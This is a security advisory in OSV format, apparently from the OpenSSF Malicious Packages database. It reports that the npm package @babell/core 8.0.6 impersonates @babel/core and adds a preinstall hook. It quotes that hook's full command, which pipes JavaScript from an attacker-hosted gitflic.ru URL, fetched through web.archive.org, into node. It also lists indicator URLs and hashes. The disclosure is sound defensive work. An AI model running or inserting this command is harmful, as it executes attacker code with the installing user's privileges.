MAL-2026-17497Malicious code in @babell/core (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | @babell/core | 8.0.6 |
{"schema_version":"1.7.4","id":"MAL-2026-17497","published":"2026-10-03T06:52:06Z","modified":"2026-10-05T22:52:51.088108550Z","summary":"Malicious code in @babell/core (npm)","details":"@babell/core@8.0.6 impersonates @babel/core (it copies the code and metadata of @babel/core) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @babell/core and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.\n\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b)\nThe package's package.json defines a preinstall lifecycle script that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading a JavaScript file from a third-party host (gitflic.ru/hellscripter, fetched through web.archive.org) and piping it directly into Node for execution at install time. The content fetched is unpinned, served from a non-publisher host unrelated to Babel, and executed with the privileges of the installing user. The package name `@babell/core` differs from the legitimate `@babel/core` by a single character, and its description, author, repository, homepage, and README all impersonate the real Babel project, serving as a delivery vehicle for the dropper.\n","affected":[{"package":{"name":"@babell/core","ecosystem":"npm"},"versions":["8.0.6"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"package.json","sha256":"cc3271a8b9c4c1295febc8e6f4abeffddceeb483a74db202909537b3540bd5ec","tlsh":"5981cb15ec5c8c631a827968d8d90683293945c79c85bc0d33ee6a6c0f0d65f71feb1d"}],"package_integrity":[{"filename":"core-8.0.6.tgz","hashes":{"sha1":"b5d20f05ebc09181bf3037bd35ca0d0198117197","sha512_sri":"sha512-8SeBklqlX5RsBS9OqwrjUfwRzc0ZVxQmnleAJXOjLWI7NvsJmyOrQQ4EyU2Pm784tzgCNW2OQwrD9Qx2dp88Cg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@babell/core/v/8.0.6"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@babell/core"}],"database_specific":{"iocs":{"files":[{"digests":{"sha256":"cc3271a8b9c4c1295febc8e6f4abeffddceeb483a74db202909537b3540bd5ec"},"note":"preinstall script pipes the web.archive.org copy of gitflic.ru hellscripter/install-scripts node.js into node (@babell/core@8.0.6).","paths":["package.json"],"source":"PACKAGE_ARCHIVE"}],"urls":["https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js","https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js"]},"malicious-packages-origins":[{"id":"IN-MAL-2026-020921","import_time":"2026-10-04T23:40:42.174028246Z","modified_time":"2026-10-04T23:20:06Z","sha256":"ae256b9ff55b98040ea9cb6561edfe1c4e2db94bd111fb19a449651bd6b5d44b","source":"amazon-inspector","versions":["8.0.6"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"InvisiRisk, Inc.","contact":["https://www.invisirisk.com","mailto:research@invisirisk.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0